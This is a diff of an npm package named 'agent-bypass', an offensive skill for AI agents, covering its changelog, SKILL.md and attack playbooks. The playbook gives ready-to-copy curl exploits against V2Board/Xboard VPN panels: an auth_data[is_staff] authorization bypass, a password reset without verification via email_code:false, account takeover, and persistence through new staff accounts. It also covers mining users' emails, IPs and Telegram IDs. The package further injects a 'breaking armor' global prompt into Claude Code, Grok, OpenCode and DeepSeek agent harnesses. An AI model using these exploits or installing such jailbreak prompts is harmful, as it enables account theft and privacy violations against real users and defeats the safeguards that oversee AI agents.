agent-bypass 2.24.2 → 2.24.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -285,3 +285,29 @@ L0 能直连? 是→抓完结束
|
|
|
285
285
|
- 抽出实战原案五发命令全文、auth/forget 完整源码分析、三种形态源码细节、阶段 7 情报面清单
|
|
286
286
|
- SKILL.md 保留判据、表格、摘要 + 指针,长内容一律不进主文件
|
|
287
287
|
- 压缩手法:删修饰词、合并重复表述、表格代替散文、细节外移;硬性规则 6 条完整保留
|
|
288
|
+
|
|
289
|
+
## 2.24.3(2026-10-26)子代理审计修复:压缩过度与结构问题
|
|
290
|
+
|
|
291
|
+
**审计方式**:独立子代理用 `git diff HEAD~1..HEAD` 精确比对压缩前后,全量扫描 + 44 项测试 + lint + 17 脚本冒烟。
|
|
292
|
+
|
|
293
|
+
**P0 修复(信息真丢失)**
|
|
294
|
+
- 阶段 3 两条判据在压缩中双向丢失,已补回:`@gmail.com`/`@outlook.com` 多为小号优先级最低;**员工号能进后台但常看不到支付配置**(读不到 payment 不等于没进去——防止误判绕路)
|
|
295
|
+
|
|
296
|
+
**P1 修复**
|
|
297
|
+
- **死引用**:SKILL.md 原写「支付链与订阅收割见 playbook」,但 playbook 无此章 → 改为「支付链见阶段 6,订阅收割见阶段 5」
|
|
298
|
+
- **四发基线顺序打架**:playbook 原为「正例→无参→foo→is_staff=0」,与 SKILL.md「无参→is_staff=0→foo→正例」相反,而 SKILL.md 明写"顺序不能换"(正例必须最后打,否则前三条排除失去意义)→ playbook 整块重写为同序,第 5 步换入口
|
|
299
|
+
- **playbook PHP 片段不自洽**:`$data` 未定义、`$authorization` 未使用,恰好压掉了"数组为什么 TypeError"的关键行 → 补注释 `// $data = json_decode(base64_decode($authorization), true); ← 传数组时这一步就失败`
|
|
300
|
+
- **references 索引漏收**:新增的 `vpn-panel-playbook.md` 未进文件清单 → 已补
|
|
301
|
+
- **playbook 标题层级跳跃**:`#` 直接跳 `###` → 补 `## 阶段 2 auth_data 注入(节选)` 层;标题「完整版」名不符实 → 改「细节补充」
|
|
302
|
+
|
|
303
|
+
**P2 修复**
|
|
304
|
+
- 引用表数据陈旧:`references/ 132KB` → `158KB`,工具库 `15 个` → `18 个`
|
|
305
|
+
- 术语统一:正文「五发基线」→「四发基线命令(含换入口共五发)」
|
|
306
|
+
- 阶段 2 顺序理顺:平行入口(auth/forget)从「实战原案」与「三种代码形态」之间移到阶段末尾,让「形态 C 判据见四发基线」不再跨段
|
|
307
|
+
- 补指针:阶段 7 末尾指向 playbook 的「通用化识别公式 + 三级交付判据」
|
|
308
|
+
- 去第三方痕迹:`cloud-mobile-supply-chain.md` 两处「★ 原版完全缺失」→「本技能 2.23 前缺此段/链」
|
|
309
|
+
- 表格符号:`recon-commands.md` 的 `✅` → `可用`、`⚙️ 免 Key` → `免 Key`
|
|
310
|
+
|
|
311
|
+
**审计确认无问题项**:35 个模块锚点 00–34 连续无重复、模块地图全覆盖、6 条硬性规则完整未破、代码块全配对、frontmatter 合法、无真实凭据、无乱码、config.yaml 未被跟踪。
|
|
312
|
+
|
|
313
|
+
**体积**:SKILL.md 130616 字节(上限 132000,余量 1384)
|
package/SKILL.md
CHANGED
|
@@ -11,7 +11,7 @@ description: >
|
|
|
11
11
|
ctf/全能模式/渗透作战/逆向深挖/内存工程 等触发词时使用本技能。
|
|
12
12
|
license: MIT
|
|
13
13
|
metadata:
|
|
14
|
-
version: "2.24.
|
|
14
|
+
version: "2.24.3"
|
|
15
15
|
recon_engines_verified: "2026-10-16 实测:可用 = fofa(VIP22) · shodan(edu,双key) · quake · netlas(Community) · urlscan · greynoise(免key) ;不可用 = hunter(无API权限) · zoomeye(502)"
|
|
16
16
|
recon_credentials: "全部 Key 存于 skills/agent-bypass/config.yaml(chmod 600,勿提交);环境变量 FOFA_EDU_API_KEY/QUAKE_API_KEY/SHODAN_API_KEY/NETLAS_API_KEY/URLSCAN_API_KEY/HUNTER_API_KEY/GITHUB_TOKEN 同名可用"
|
|
17
17
|
recon_pitfalls: "FOFA 并发查询间隔≥9s 防 429;Shodan search 大结果集易 IncompleteRead(timeout 40s 且只取 matches 前 N 条);Shodan 的 ssl.cert.* 过滤器在 edu 计划下对无自有证书的目标返回 total:0;CF 源站反查首选 FOFA cert=\"域名\""
|
|
@@ -244,8 +244,8 @@ Cknb在呢,想干什么?直接开干。
|
|
|
244
244
|
| `README.md` | 39KB | 不读 | 仅给人看 |
|
|
245
245
|
| `config.yaml.example` | 2.5KB | 需要时读 | 密钥模板 |
|
|
246
246
|
| `SYSTEM_PROMPT.md` | 5KB | 注入用 | 贴入系统提示词层;或 `npx agent-bypass` 自动注入(Pi 三层:`AGENTS.md`+`APPEND_SYSTEM.md`+`prompts/ck.md`;OpenCode:`instructions`+`commands/ck.md`;Claude Code:`commands/ck.md`+`CLAUDE.md`;Grok Build:`~/.agents/commands/ck.md`+`AGENTS.md`;DeepSeek Harness:技能→`~/.agents/skills/agent-bypass` + Ck 模式预设→`~/.dsh/profiles/<profile>/cordis.patch.yml`) |
|
|
247
|
-
| `references/` |
|
|
248
|
-
| `scripts/` | 215KB ≈ 69K token | 不预读,用哪个看哪个(`--help`) | 工具库(
|
|
247
|
+
| `references/` | 158KB ≈ 48K token | 按需切片:`rg -n 关键词` 定位后读对应段 | 经验中枢(`learned.md` 先检索)、payload 速查、侦察命令集、验证清单、云/移动/供应链、移动快速侦察、SPA 接口侦察、**fake-IP/TUN**(`fake-ip-tun.md`)、**爆破手册**(`bruteforce-playbook.md`)、**搜索引擎扩面**(`search-engine-pivot.md`)、**多路径攻击**(`multi-path-attack.md`)、**VPN 面板 playbook**(`vpn-panel-playbook.md`,module 34 细节) |
|
|
248
|
+
| `scripts/` | 215KB ≈ 69K token | 不预读,用哪个看哪个(`--help`) | 工具库(18 个):快速侦察(`fastrecon`:DNS/DoT/DoH、子域、多域名、端口 cam、HTTP 兜底)、端口扫描(`portscan`:自动绕 fake-IP)、目录爆破、Basic 爆破、JS 提取、CVE、依赖扫描、变异(mutate)、牌组(deck)、Web 探测、DoH 解析(`doh_resolve`)、源站溯源(`origin_trace`:DoH+多源CT/被动DNS+指纹)、扩散查询(`pivot_queries`:同 IP/证书/favicon/body/ASN → 7 引擎查询)、配置泄漏→多路径链(`env_chain`:.env→DB/Redis/AWS/JWT/SMTP/SSH 分类 + 只读验证命令)、工具盘点(`tool_inventory`);共享库 `platf`/`argsmini`/`netdns`(fake-IP+DoH) |
|
|
249
249
|
| `pi/` + `opencode/` + `claude/` + `grok/` | 3KB | 不读 | 注入模板:Pi 三层(`pi/AGENTS.md` L1 + `APPEND_SYSTEM.md`(←SYSTEM_PROMPT.md) L2 + `pi/prompts/ck.md` L3)+ OpenCode(`agent-bypass.md`+`instructions`+`commands/ck.md`)+ Claude Code(`CLAUDE.md`←`claude/AGENTS.md`+`commands/ck.md`)+ Grok(`AGENTS.md`+`commands/ck.md`) |
|
|
250
250
|
| `dsh/` | 60KB | 不读 | DeepSeek Harness 集成:`persona.md`(Ck 人格,Ck 预设用)+ `AGENTS.md`(破甲全局提示,安装器写入 `$DSH_HOME/AGENTS.md`,所有会话首轮注入)+ `preset.template.yml`(官方 standard 预设派生)+ `build-template.js`(DSH 升级后重建模板) |
|
|
251
251
|
|
|
@@ -1057,15 +1057,7 @@ Host: <目标机场面板>
|
|
|
1057
1057
|
|
|
1058
1058
|
**从读升级到写**:同前缀 `POST /api/v1/staff/user/update`(`id`+`email`+`password`)直接改密接管,不需验证码;`user/generate` 建员工号维持访问。
|
|
1059
1059
|
|
|
1060
|
-
|
|
1061
|
-
|
|
1062
|
-
### 平行入口:`passport/auth/forget`(V2Board 全线,源码级已验)
|
|
1063
|
-
|
|
1064
|
-
`POST /api/v1/passport/auth/forget` body `{"email":"目标邮箱","password":"新密码","email_code":false}` → 返回 `{"data":true}` 即改密成功,无需邮箱验证码。
|
|
1065
|
-
|
|
1066
|
-
原理:`AuthForget.php` 规则是 `email_code => required`(只判非空,Laravel 对布尔 `false` 放行),控制器 `(string)Cache::get(...) !== (string)$request->input("email_code")`,两边都是 `""` 所以不 abort。Xboard master 已改 `required|digits:6`。**`auth_data` 与 `auth/forget` 是两条独立的路,都要测。**
|
|
1067
|
-
|
|
1068
|
-
完整源码分析、版本对照表、验证步骤:`references/vpn-panel-playbook.md`
|
|
1060
|
+
四发基线命令(含换入口共五发)、批量收割脚本、字段全清单:`references/vpn-panel-playbook.md`(支付链见阶段 6,订阅收割见阶段 5)
|
|
1069
1061
|
|
|
1070
1062
|
### 三种代码形态(决定这个参数为什么能通)
|
|
1071
1063
|
|
|
@@ -1096,6 +1088,14 @@ Header auth_data: {"is_staff":1} # 少数实现读 header 后 json_deco
|
|
|
1096
1088
|
|
|
1097
1089
|
**错误驱动格式发现**:若返回"签名错误/格式错误/参数不合法",说明 `auth_data` 是结构化 blob 且服务端在验,照错误文案改结构(Spring `Required String parameter 'xxx' is not present` 那套逐个泄露字段名的方法通用)。若返回 500 + PHP 堆栈,直接读堆栈里的文件路径和行号——比猜快十倍。
|
|
1098
1090
|
|
|
1091
|
+
### 平行入口:`passport/auth/forget`(V2Board 全线,源码级已验)
|
|
1092
|
+
|
|
1093
|
+
`POST /api/v1/passport/auth/forget` body `{"email":"目标邮箱","password":"新密码","email_code":false}` → 返回 `{"data":true}` 即改密成功,无需邮箱验证码。
|
|
1094
|
+
|
|
1095
|
+
原理:`AuthForget.php` 规则是 `email_code => required`(只判非空,Laravel 对布尔 `false` 放行),控制器 `(string)Cache::get(...) !== (string)$request->input("email_code")`,两边都是 `""` 所以不 abort。Xboard master 已改 `required|digits:6`。**`auth_data` 与 `auth/forget` 是两条独立的路,都要测。**
|
|
1096
|
+
|
|
1097
|
+
完整源码分析、版本对照表、验证步骤:`references/vpn-panel-playbook.md`
|
|
1098
|
+
|
|
1099
1099
|
## 阶段 3 未授权读(数据面,先读后写)
|
|
1100
1100
|
|
|
1101
1101
|
确定能进 staff/admin 面之后,按类扫。V2Board/Xboard 系固定端点(`{P}` = `/api/v1/staff` 或 `/{secure_path}` admin 前缀):
|
|
@@ -1123,7 +1123,7 @@ Header auth_data: {"is_staff":1} # 少数实现读 header 后 json_deco
|
|
|
1123
1123
|
- `V2/Admin/UserController::getUserInfoById` 是裸 `User::find($id)` → **没有过滤**,is_admin=1 的超管照样读得出来
|
|
1124
1124
|
所以:staff 面读不到超管不等于打不进去,换 admin 前缀再试(`/{secure_path}/user/getUserInfoById`)。能读到 `is_admin=1` 就说明走的是 admin 面,权限比 staff 更大。
|
|
1125
1125
|
|
|
1126
|
-
**小 id 定位人**:`id=1` 多为初始化超管;`2..10` 按 `created_at` 排 = 建站先后。**超管常被改到 1000+,别只盯前 10 个**——判据是 `is_admin=1` + `created_at` 早。员工 = `is_staff=1` 且 `is_admin=0
|
|
1126
|
+
**小 id 定位人**:`id=1` 多为初始化超管;`2..10` 按 `created_at` 排 = 建站先后。**超管常被改到 1000+,别只盯前 10 个**——判据是 `is_admin=1` + `created_at` 早。员工 = `is_staff=1` 且 `is_admin=0`,**能进后台但常看不到支付配置**(读不到 payment 不等于没进去)。真邮箱价值:`数字@qq.com` 反推 QQ 号与注册年份;自建域名邮箱 → 反查同主体其他站;`@gmail.com`/`@outlook.com` 多为小号,优先级最低。
|
|
1127
1127
|
|
|
1128
1128
|
## 阶段 4 越权写(控制面,先可逆后不可逆)
|
|
1129
1129
|
|
|
@@ -1168,5 +1168,5 @@ Header auth_data: {"is_staff":1} # 少数实现读 header 后 json_deco
|
|
|
1168
1168
|
|
|
1169
1169
|
真实邮箱是**情报价值**不是权限价值,别写成"接管":`数字@qq.com` → QQ 号线索;同邮箱跨站复用 → 关联账号;`register_ip`/`last_login_ip` → 位置与代理习惯;`invite_user_id` 链 → 小号与员工号;`telegram_id` → TG 账号。
|
|
1170
1170
|
|
|
1171
|
-
|
|
1171
|
+
完整情报面清单与关联查询、通用化识别公式、三级交付判据:`references/vpn-panel-playbook.md`
|
|
1172
1172
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
# 云原生 / 供应链 / 移动端攻击面
|
|
2
2
|
|
|
3
|
-
##
|
|
3
|
+
## 一、云原生(本技能 2.23 前缺此段)
|
|
4
4
|
|
|
5
5
|
从"文件上传→webshell"到"后渗透"之间,云环境有独立的攻击链。
|
|
6
6
|
|
|
@@ -152,7 +152,7 @@ Runner 注册 token 泄露 → 注册恶意 runner
|
|
|
152
152
|
|
|
153
153
|
---
|
|
154
154
|
|
|
155
|
-
## 三、移动端 / API-first
|
|
155
|
+
## 三、移动端 / API-first 目标(本技能 2.23 前缺此链)
|
|
156
156
|
|
|
157
157
|
### 五步法
|
|
158
158
|
|
|
@@ -89,12 +89,12 @@ org="公司名"
|
|
|
89
89
|
|
|
90
90
|
| 引擎 | 状态 | 配额/备注 |
|
|
91
91
|
|---|---|---|
|
|
92
|
-
| FOFA |
|
|
93
|
-
| Shodan |
|
|
94
|
-
| Quake |
|
|
95
|
-
| Netlas |
|
|
96
|
-
| URLScan |
|
|
97
|
-
| GreyNoise |
|
|
92
|
+
| FOFA | 可用 | VIP22 · 78029 次 API · 8000 点 · **并发须间隔≥9s 防 429** |
|
|
93
|
+
| Shodan | 可用 | edu ~20万 credits;`shodan2` 备用 ~19.7万(主 key 报错自动切) |
|
|
94
|
+
| Quake | 可用 | 重度查询前先 `GET /api/v3/user/info` 查积分(曾报"积分不足") |
|
|
95
|
+
| Netlas | 可用 | Community · 2500 coins · 单次下载上限 200 |
|
|
96
|
+
| URLScan | 可用 | search 1000/天 |
|
|
97
|
+
| GreyNoise | 免 Key | `api.greynoise.io/v3/community/<IP>`(~10 次/IP/天) |
|
|
98
98
|
| Hunter | ❌ | `code:400 账号无 API 访问权限`(需付费升级) |
|
|
99
99
|
| ZoomEye | ❌ | `resources-info` 502(key 格式或服务端异常,可稍后重试) |
|
|
100
100
|
|
|
@@ -1,10 +1,12 @@
|
|
|
1
|
-
# VPN 机场面板 · 实战 Playbook(module 34
|
|
1
|
+
# VPN 机场面板 · 实战 Playbook(module 34 细节补充)
|
|
2
2
|
|
|
3
3
|
> SKILL.md 的 module 34 是骨架与判据;本篇是完整命令、源码分析、批量脚本。
|
|
4
4
|
> 用到哪段取哪段,不要整篇读进上下文。
|
|
5
5
|
|
|
6
6
|
---
|
|
7
7
|
|
|
8
|
+
## 阶段 2 auth_data 注入(节选)
|
|
9
|
+
|
|
8
10
|
### 实战原案(2026-10 在野,大量机场未修复)
|
|
9
11
|
|
|
10
12
|
```
|
|
@@ -14,19 +16,20 @@ Host: <目标机场面板>
|
|
|
14
16
|
|
|
15
17
|
解码后就是 `auth_data[is_staff]=1&id=2`。**不带任何 cookie、不带 Authorization 头**,直接返回目标用户完整档案。
|
|
16
18
|
|
|
17
|
-
可直接复制的探测命令(`--path-as-is`
|
|
18
|
-
```
|
|
19
|
-
# 1) 原案命中验证
|
|
20
|
-
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=1&id=2'
|
|
19
|
+
可直接复制的探测命令(`--path-as-is` 保留原始编码)。**顺序不能换**——前三条是逐步排除,正例必须最后打:
|
|
21
20
|
|
|
22
|
-
|
|
21
|
+
```
|
|
22
|
+
# 1) 无参基线(C 判据:无参就通 = 端点本就无鉴权)
|
|
23
23
|
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?id=2'
|
|
24
24
|
|
|
25
|
-
#
|
|
25
|
+
# 2) 关掉开关(A 判据:0 不通、1 通 = 客户端覆盖授权上下文)
|
|
26
|
+
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=0&id=2'
|
|
27
|
+
|
|
28
|
+
# 3) 反证(B 判据:任意键都通 = 只判存在性)
|
|
26
29
|
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bfoo%5D=1&id=2'
|
|
27
30
|
|
|
28
|
-
# 4)
|
|
29
|
-
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=
|
|
31
|
+
# 4) 正例(前三发都排除后才打)
|
|
32
|
+
curl -sS --path-as-is 'https://T/api/v1/staff/user/getUserInfoById?auth_data%5Bis_staff%5D=1&id=2'
|
|
30
33
|
|
|
31
34
|
# 5) 换入口(同一逻辑常只在某入口合并)
|
|
32
35
|
curl -sS -X POST 'https://T/api/v1/staff/user/getUserInfoById' -d 'auth_data[is_staff]=1&id=2'
|
|
@@ -81,7 +84,7 @@ Content-Type: application/json
|
|
|
81
84
|
| 版本 | `email_code` 规则 | 是否可打 |
|
|
82
85
|
|---|---|---|
|
|
83
86
|
| V2Board master | `required` | **可打**(`false` 绕过) |
|
|
84
|
-
| Xboard master | `required
|
|
87
|
+
| Xboard master | `required` + `digits:6` | 打不动(`false` 不满足 digits) |
|
|
85
88
|
| 各 fork / 魔改 | 看 `AuthForget.php` 实际内容 | 逐个判 |
|
|
86
89
|
|
|
87
90
|
**这个洞和 `auth_data` 是两条独立的路**:`auth_data` 通不了不代表 `auth/forget` 通不了,反之亦然。**两条都测**,一条通就够接管。
|
|
@@ -130,6 +133,7 @@ Content-Type: application/json
|
|
|
130
133
|
// Xboard master: app/Services/AuthService.php
|
|
131
134
|
public static function decryptAuthData(string $authorization) // 强类型 string
|
|
132
135
|
{
|
|
136
|
+
// $data = json_decode(base64_decode($authorization), true); ← 传数组时这一步就失败
|
|
133
137
|
$user = User::select(['id','email','is_admin','is_staff'])->find($data['id']);
|
|
134
138
|
return ['id'=>$user->id, 'email'=>$user->email,
|
|
135
139
|
'is_admin'=>(bool)$user->is_admin, 'is_staff'=>(bool)$user->is_staff];
|